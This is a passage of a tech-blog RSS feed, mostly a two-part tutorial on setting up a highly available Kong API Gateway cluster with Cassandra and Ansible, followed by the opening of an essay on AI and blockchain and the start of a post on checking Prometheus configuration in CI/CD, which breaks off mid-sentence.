<p>The modified request becomes:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">curl</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">X</span><span style="color: light-dark(#032F62, #96D0FF);"> GET</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-url</span><span style="color: light-dark(#032F62, #96D0FF);"> https://kongapigateway.com/fake/todos/</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-header</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">X-ACCESS: ENTER_KEY_HERE</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre><h3 id="accessing-user-authentication-details-in-your-api">Accessing user authentication details in your API<a class="zola-anchor" href="#accessing-user-authentication-details-in-your-api" aria-label="Anchor link for: accessing-user-authentication-details-in-your-api">#</a></h3>
<p>You can remove all custom authentication method in your API services as Kong forwards the user information in the headers. You can use the following headers while processing the incoming request to identify the users and implement custom business logic:</p>
<table><thead><tr><th>Header Key</th><th>Value</th></tr></thead><tbody>
<tr><td><code>X-Consumer-ID</code></td><td>ID of the Consumer on Kong</td></tr>
<tr><td><code>X-Consumer-Custom-ID</code></td><td>custom_id of the Consumer (if set)</td></tr>
<tr><td><code>X-Consumer-Username</code></td><td>username of the Consumer (if set)</td></tr>
<tr><td><code>X-Anonymous-Consumer</code></td><td>will be set to true when authentication failed, and the ‘anonymous’ consumer was set instead.</td></tr>
<tr><td><code>X-Credential-Username</code></td><td>the username of the Credential (only if the consumer is not the ‘anonymous’ consumer)</td></tr>
</tbody></table>
<h2 id="the-end">The End<a class="zola-anchor" href="#the-end" aria-label="Anchor link for: the-end">#</a></h2>
<p>Hope you liked the two part series of setting up and managing your Kong cluster. Do reach out to me <a rel="external" href="https://twitter.com/@mrkaran_">@mrkaran_</a> in case of any feedback for the post. Thanks!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Setting up Kong API Gateway - Part 1/2]]></title>
            <link>https://mrkaran.dev/posts/setting-up-kong-part-1/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/setting-up-kong-part-1/</guid>
            <pubDate>Sat, 23 Mar 2019 05:27:55 GMT</pubDate>
            <description><![CDATA[Kong#
Kong is an API Gateway, which basically reverse proxies every incoming request to the upstream URL. It is pretty useful if you have a lot of internal services which need to talk to each other (through HTTP) but you don’t want to keep managing the authentication layer, rate limiting, hosts whitelisting and other such things in every service. Kong acts as a central entrypoint to all other services’ API endpoints and all the common fluff is heavylifted by Kong’s API layer.
Kong follows a plugin approach, which makes it extensible and you can even make your own plugins. Using plugins, it is possible to modify the request,
add authentication layer at the Kong layer, forward user meta information headers to the upstream.
Amongst other API Gateway solutions, Kong is pretty straightforward to get started with and has a nice community support as well. All of the actions to configure your API endpoints and manage them can be done through a RESTful Admin API.
The following setup guide describes how the infra is setup for High Availability of a cluster of Kong nodes.
Infra Setup#
Each individual Kong node is stateless, since it is always connected to an external datastore. In this tutorial, we will provision 2 nodes for Kong. The instances are frontended by Amazon’s ELB which routes the traffic internally to either of a Kong node using internal DNS. Kong requires a datastore to fetch the information about upstream APIs, consumers, routing mechanisms, plugins, so each of the Kong node must be in sync with the other Kong node. We will achieve the same by using Cassandra as our database for Kong, which is being run in a clustering mode. Cassandra uses it’s gossip mechanism to ensure the other Cassandra node is upto-date with any new changes to the data.
Scaling Kong#
To scale Kong in future, we can keep on adding multiple Kong nodes horizontally and attaching them to one of the Cassandra node. This way we can have multiple Kong nodes in one cluster each pointing to one central Cassandra datastore.
Setting up the cluster#
We will use Ansible to automate the task of setting up Kong+Cassandra in each of 2 nodes. You can refer to the playbook which will do the job.
---
# https://github.com/mr-karan/kong-ansible
# Playbook to install the Cassandra and Kong

- hosts: "{{control_host}}"
  remote_user: "{{control_user}}"
  become: yes
  roles:
    - role: java
    - role: cassandra
- role: kong
After you run the playbook, there are a couple of important things which needs to be configured in order to have an HA setup. This setup guide
assumes the playbook is run individually on 2 servers: srvr A and srvr B.
Important Directory Paths#

Local locationDescription

/usr/local/bin/kongKong executable binary
/usr/local/kongAll the settings and logs are available under a namespaced directory, which will be called as PREFIX in further sections.
/etc/systemd/service/kong.serviceManaging Kong as systemd service
/etc/systemd/service/cassandra.serviceManaging Cassandra db as systemd service
/etc/cassandra/cassandra.yamlConfig for Cassandra
/etc/kong/kong.confConfig for Kong

First Steps#
Setting up Cassandra#
Let’s setup Cassandra first and run in clustering mode. Do these steps in both of the servers.
Stop any running cassandra node:
sudo service cassandra stop


Edit the cassandra config file and update the following values:
cluster_name: 'KongAPICluster'
seed_provider:
- class_name: org.apache.cassandra.locator.SimpleSeedProvider
    parameters:
        - seeds: "<private_ip_srvrA>,<private_ip_srvrB>"
listen_address: <private_ip_srvr>
    start_rpc: true


Start cassandra on both the servers and check the status:
sudo serice cassandra start


Verify Cassandra clustering:
sudo nodetool status # Give it a couple of seconds (30-45) for both nodes to warm up and discover each other.
The output of above command should look like:
$ sudo nodetool status
Datacenter: datacenter1
=======================
Status=Up/Down
|/ State=Normal/Leaving/Joining/Moving
--  Address        Load       Tokens       Owns (effective)  Host ID   Rack
UN  <REDACTED>  467.26 KiB  256          100.0%            <REDACTED>  rack1
UN  <REDACTED>  496.36 KiB  256          100.0%            <REDACTED>  rack1


Troubleshooting Cassandra:
cqlsh unable to connect to cassandra server:
cqlsh has a known bug in some versions with Python2.7 where it cannot connect to the cassandra server. Do the following steps to fix:
sudo pip install cassandra-driver
export CQLSH_NO_BUNDLED=TRUE


Unable to discover the other cassandra cluster:
This usally happens because of network connectivity issues. Verify both nodes are able to talk to each other by running Cassandra in single cluster mode and then issue the following commands:
# in srvrA
netstat -lntvp | grep cassandra # should be present (port 9042 usually)
# in srvrB, check similarly...
# in srvrA
telnet private_ip_srvrB 9042 # should connect
# in srvrB, check similarly...




Setting up Kong#
Let’s setup each Kong node in the cluster as following.
Stop any running kong instance:
sudo service kong stop


Edit the kong config file and update the following values:
...
admin_listen = <private_ip_srvrA>:8001, <private_ip_srvrA>:8444 ssl
database = cassandra
db_update_propagation = 10 #seconds
...


Start kong on both the servers and check the status:
sudo serice kong start


Verify if Kong is running:
sudo service kong status


Run Kong Migrations:
Run the migrations on only one cluster. Since the datastores will be in sync(eventual consistency thanks to Cassandra), we don’t have to run migrations on the second cluster.
kong migrations -c /etc/path/to/config


Troubleshooting Kong:
Check if Kong is actually running by sudo service kong status. You can check for logs in $PREFIX/logs/error.log.
If Kong is not running, you can try running kong check for checking if the config file is correct. Kong additionally provides a health check command, which can be executed using kong health.
Managing Kong#
Kong comes with Admin API to manage all aspects of Kong. There is also an unofficial project which is aN UI on top of Kong’s API and it comes pretty handy to configure upstream endpoints, adding plugins etc.
To read more about it, you can continue reading the second part of the series here]]></description>
            <content:encoded><![CDATA[<h1 id="kong">Kong<a class="zola-anchor" href="#kong" aria-label="Anchor link for: kong">#</a></h1>
<p><a rel="external" href="https://konghq.com/">Kong</a> is an API Gateway, which basically reverse proxies every incoming request to the upstream URL. It is pretty useful if you have a lot of internal services which need to talk to each other (through HTTP) but you don’t want to keep managing the authentication layer, rate limiting, hosts whitelisting and other such things in every service. Kong acts as a central entrypoint to all other services’ API endpoints and all the common fluff is heavylifted by Kong’s API layer.</p>
<p>Kong follows a <a rel="external" href="https://docs.konghq.com/hub/">plugin</a> approach, which makes it extensible and you can even <a rel="external" href="https://docs.konghq.com/gateway/latest/plugin-development/">make your own plugins</a>. Using plugins, it is possible to modify the request,
add authentication layer at the Kong layer, forward user meta information headers to the upstream.</p>
<p>Amongst other API Gateway solutions, Kong is pretty straightforward to get started with and has a nice community support as well. All of the actions to configure your API endpoints and manage them can be done through a RESTful Admin API.</p>
<p>The following setup guide describes how the infra is setup for <strong>High Availability</strong> of a cluster of Kong nodes.</p>
<h2 id="infra-setup">Infra Setup<a class="zola-anchor" href="#infra-setup" aria-label="Anchor link for: infra-setup">#</a></h2>
<p>Each individual Kong node is stateless, since it is always connected to an external datastore. In this tutorial, we will provision 2 nodes for Kong. The instances are frontended by Amazon’s ELB which routes the traffic internally to either of a Kong node using internal DNS. Kong requires a datastore to fetch the information about upstream APIs, consumers, routing mechanisms, plugins, so each of the Kong node must be in sync with the other Kong node. We will achieve the same by using Cassandra as our database for Kong, which is being run in a clustering mode. Cassandra uses it’s gossip mechanism to ensure the other Cassandra node is upto-date with any new changes to the data.</p>
<h3 id="scaling-kong">Scaling Kong<a class="zola-anchor" href="#scaling-kong" aria-label="Anchor link for: scaling-kong">#</a></h3>
<p>To scale Kong in future, we can keep on adding multiple Kong nodes horizontally and attaching them to one of the Cassandra node. This way we can have multiple Kong nodes in one cluster each pointing to one central Cassandra datastore.</p>
<h2 id="setting-up-the-cluster">Setting up the cluster<a class="zola-anchor" href="#setting-up-the-cluster" aria-label="Anchor link for: setting-up-the-cluster">#</a></h2>
<p>We will use Ansible to automate the task of setting up Kong+Cassandra in each of 2 nodes. You can refer to the <a rel="external" href="https://github.com/mr-karan/kong-ansible">playbook</a> which will do the job.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">---</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> https://github.com/mr-karan/kong-ansible</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Playbook to install the Cassandra and Kong</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> h</span><span style="color: light-dark(#22863A, #8DDB8C);">osts</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{control_host}}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  r</span><span style="color: light-dark(#22863A, #8DDB8C);">emote_user</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{control_user}}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  b</span><span style="color: light-dark(#22863A, #8DDB8C);">ecome</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> yes</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  r</span><span style="color: light-dark(#22863A, #8DDB8C);">oles</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#22863A, #8DDB8C);"> r</span><span style="color: light-dark(#22863A, #8DDB8C);">ole</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> j</span><span style="color: light-dark(#032F62, #96D0FF);">ava</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#22863A, #8DDB8C);"> r</span><span style="color: light-dark(#22863A, #8DDB8C);">ole</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">assandra</span></span>
<span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> r</span><span style="color: light-dark(#22863A, #8DDB8C);">ole</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> k</span><span style="color: light-dark(#032F62, #96D0FF);">ong</span></span></code></pre>
<p>After you run the playbook, there are a couple of important things which needs to be configured in order to have an HA setup. This setup guide
assumes the playbook is run individually on 2 servers: <code>srvr A</code> and <code>srvr B</code>.</p>
<h3 id="important-directory-paths">Important Directory Paths<a class="zola-anchor" href="#important-directory-paths" aria-label="Anchor link for: important-directory-paths">#</a></h3>
<table><thead><tr><th>Local location</th><th>Description</th></tr></thead><tbody>
<tr><td><code>/usr/local/bin/kong</code></td><td>Kong executable binary</td></tr>
<tr><td><code>/usr/local/kong</code></td><td>All the settings and logs are available under a namespaced directory, which will be called as <code>PREFIX</code> in further sections.</td></tr>
<tr><td><code>/etc/systemd/service/kong.service</code></td><td>Managing Kong as systemd service</td></tr>
<tr><td><code>/etc/systemd/service/cassandra.service</code></td><td>Managing Cassandra db as systemd service</td></tr>
<tr><td><code>/etc/cassandra/cassandra.yaml</code></td><td>Config for Cassandra</td></tr>
<tr><td><code>/etc/kong/kong.conf</code></td><td>Config for Kong</td></tr>
</tbody></table>
<h3 id="first-steps">First Steps<a class="zola-anchor" href="#first-steps" aria-label="Anchor link for: first-steps">#</a></h3>
<h4 id="setting-up-cassandra">Setting up Cassandra<a class="zola-anchor" href="#setting-up-cassandra" aria-label="Anchor link for: setting-up-cassandra">#</a></h4>
<p>Let’s setup Cassandra first and run in clustering mode. Do these steps in both of the servers.</p>
<ol>
<li>
<p>Stop any running cassandra node:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> cassandra</span><span style="color: light-dark(#032F62, #96D0FF);"> stop</span></span></code></pre></li>
<li>
<p>Edit the cassandra config file and update the following values:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>cluster_name: &#39;KongAPICluster&#39;</span></span>
<span class="giallo-l"><span>seed_provider:</span></span>
<span class="giallo-l"><span>- class_name: org.apache.cassandra.locator.SimpleSeedProvider</span></span>
<span class="giallo-l"><span>    parameters:</span></span>
<span class="giallo-l"><span>        - seeds: &quot;&lt;private_ip_srvrA&gt;,&lt;private_ip_srvrB&gt;&quot;</span></span>
<span class="giallo-l"><span>listen_address: &lt;private_ip_srvr&gt;</span></span>
<span class="giallo-l"><span>    start_rpc: true</span></span></code></pre></li>
<li>
<p>Start cassandra on both the servers and check the status:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> serice</span><span style="color: light-dark(#032F62, #96D0FF);"> cassandra</span><span style="color: light-dark(#032F62, #96D0FF);"> start</span></span></code></pre></li>
<li>
<p>Verify Cassandra clustering:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> nodetool</span><span style="color: light-dark(#032F62, #96D0FF);"> status</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Give it a couple of seconds (30-45) for both nodes to warm up and discover each other.</span></span></code></pre>
<p>The output of above command should look like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> nodetool</span><span style="color: light-dark(#032F62, #96D0FF);"> status</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Datacenter:</span><span style="color: light-dark(#032F62, #96D0FF);"> datacenter1</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">=</span></span>
<span class="giallo-l"><span>Status</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">U</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">D</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">w</span><span style="color: light-dark(#032F62, #96D0FF);">n</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">|</span><span style="color: light-dark(#6F42C1, #F69D50);">/</span><span style="color: light-dark(#032F62, #96D0FF);"> State=Normal/Leaving/Joining/Moving</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">--</span><span style="color: light-dark(#032F62, #96D0FF);">  Address</span><span style="color: light-dark(#032F62, #96D0FF);">        Load</span><span style="color: light-dark(#032F62, #96D0FF);">       Tokens</span><span style="color: light-dark(#032F62, #96D0FF);">       Owns</span><span> (effective</span><span>)  Host ID   Rack</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">UN</span><span style="color: light-dark(#D73A49, #F47067);">  &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">REDACTE</span><span>D</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);">  467.26</span><span style="color: light-dark(#032F62, #96D0FF);"> KiB</span><span style="color: light-dark(#005CC5, #6CB6FF);">  256</span><span style="color: light-dark(#032F62, #96D0FF);">          100.0%</span><span style="color: light-dark(#D73A49, #F47067);">            &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">REDACTE</span><span>D</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">  rack1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">UN</span><span style="color: light-dark(#D73A49, #F47067);">  &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">REDACTE</span><span>D</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#005CC5, #6CB6FF);">  496.36</span><span style="color: light-dark(#032F62, #96D0FF);"> KiB</span><span style="color: light-dark(#005CC5, #6CB6FF);">  256</span><span style="color: light-dark(#032F62, #96D0FF);">          100.0%</span><span style="color: light-dark(#D73A49, #F47067);">            &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">REDACTE</span><span>D</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">  rack1</span></span></code></pre></li>
<li>
<p>Troubleshooting Cassandra:</p>
<ul>
<li>
<p><strong>cqlsh unable to connect to <code>cassandra</code> server:</strong>
<code>cqlsh</code> has a known bug in some versions with Python2.7 where it cannot connect to the cassandra server. Do the following steps to fix:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> pip</span><span style="color: light-dark(#032F62, #96D0FF);"> install</span><span style="color: light-dark(#032F62, #96D0FF);"> cassandra-driver</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">export</span><span> CQLSH_NO_BUNDLED</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>TRUE</span></span></code></pre></li>
<li>
<p><strong>Unable to discover the other cassandra cluster:</strong>
This usally happens because of network connectivity issues. Verify both nodes are able to talk to each other by running Cassandra in single cluster mode and then issue the following commands:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> in srvrA</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">netstat</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">lntvp</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> cassandra</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> should be present (port 9042 usually)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> in srvrB, check similarly...</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> in srvrA</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">telnet</span><span style="color: light-dark(#032F62, #96D0FF);"> private_ip_srvrB</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9042</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> should connect</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> in srvrB, check similarly...</span></span></code></pre></li>
</ul>
</li>
</ol>
<h4 id="setting-up-kong">Setting up Kong<a class="zola-anchor" href="#setting-up-kong" aria-label="Anchor link for: setting-up-kong">#</a></h4>
<p>Let’s setup each Kong node in the cluster as following.</p>
<ol>
<li>
<p>Stop any running kong instance:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> kong</span><span style="color: light-dark(#032F62, #96D0FF);"> stop</span></span></code></pre></li>
<li>
<p>Edit the kong config file and update the following values:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">admin_listen</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">private_ip_srvr</span><span>A</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">:8001,</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">private_ip_srvr</span><span>A</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">:8444</span><span style="color: light-dark(#032F62, #96D0FF);"> ssl</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">database</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> cassandra</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">db_update_propagation</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);">seconds</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span></code></pre></li>
<li>
<p>Start kong on both the servers and check the status:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> serice</span><span style="color: light-dark(#032F62, #96D0FF);"> kong</span><span style="color: light-dark(#032F62, #96D0FF);"> start</span></span></code></pre></li>
<li>
<p>Verify if Kong is running:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> kong</span><span style="color: light-dark(#032F62, #96D0FF);"> status</span></span></code></pre></li>
<li>
<p>Run Kong Migrations:</p>
<p>Run the migrations on <em>only</em> one cluster. Since the datastores will be in sync(<em>eventual consistency</em> thanks to Cassandra), we don’t have to run migrations on the second cluster.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">kong</span><span style="color: light-dark(#032F62, #96D0FF);"> migrations</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/path/to/config</span></span></code></pre></li>
<li>
<p>Troubleshooting Kong:</p>
<ul>
<li>Check if Kong is actually running by <code>sudo service kong status</code>. You can check for logs in <code>$PREFIX/logs/error.log</code>.</li>
<li>If Kong is not running, you can try running <code>kong check</code> for checking if the config file is correct. Kong additionally provides a health check command, which can be executed using <code>kong health</code>.</li>
</ul>
</li>
</ol>
<h2 id="managing-kong">Managing Kong<a class="zola-anchor" href="#managing-kong" aria-label="Anchor link for: managing-kong">#</a></h2>
<p>Kong comes with <a rel="external" href="https://docs.konghq.com/1.0.x/admin-api/">Admin API</a> to manage all aspects of Kong. There is also an unofficial project which is aN UI on top of Kong’s API and it comes pretty handy to configure upstream endpoints, adding plugins etc.</p>
<p>To read more about it, you can continue reading the second part of the series <a href="https://mrkaran.dev/posts/setting-up-kong-part-2">here</a></p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[The absurdity of clubbing AI with blockchain]]></title>
            <link>https://nadh.in/blog/the-absurdity-of-clubbing-ai-blockchain/</link>
            <guid isPermaLink="false">https://nadh.in/blog/the-absurdity-of-clubbing-ai-blockchain/</guid>
            <pubDate>Mon, 18 Mar 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[AI is a contentious term whose mainstream interpretation refers to not one particular thing, but to a broad category encompassing a wide variety of concepts, techniques, and technologies—all eventually working towards the common goal of eliciting “intelligent" behaviour in computers.]]></description>
            <content:encoded><![CDATA[<p>AI is a contentious term whose mainstream interpretation refers to not one particular thing, but to a broad category encompassing a wide variety of concepts, techniques, and technologies—all eventually working towards the common goal of eliciting “intelligent&quot; behaviour in computers.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Adding Prometheus configuration to your CI/CD workflow]]></title>
            <link>https://mrkaran.dev/posts/prometheus-ci/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/prometheus-ci/</guid>
            <pubDate>Sun, 17 Mar 2019 05:27:55 GMT</pubDate>
            <description><![CDATA[Prometheus configurations can turn into a mess in no time if you have a lot of different jobs scraping different targets. Certainly you can use tools like jsonnet to keep your YAML files DRY but this post is not about that. I initially started off by writing one job to scrape a set of EC2 instances in a particular AWS VPC. Over the time, I had a requirement to do it over 3-4 different targets, each of them had their own rules and different type of exporters as well. The whole practice of SSHing into the server, opening the config file in vim and editing in the server didn’t just feel right. No surpises for guessing that I f*cked up a few times with config errors (YAML sigh) and finally decided that I need a better solution for this.
CI/CD for config files#
“Wait, so now you’re telling me that I need to setup a full fledged pipeline just for a few config files?”, must have been the thought that echo’ed in your head. Before you jump to the conclusion that it’s overdoing things, IMHO it’s not. And it’s not that difficult either to set it up, so why not? After integrating CI in your workflow, you can be confident that no bad syntax in your PromQL queries or in general the YAML syntax would break your monitoring system.
“That sounds amazing, show me teh code already”. Our Pipeline is fairly fairly simple:
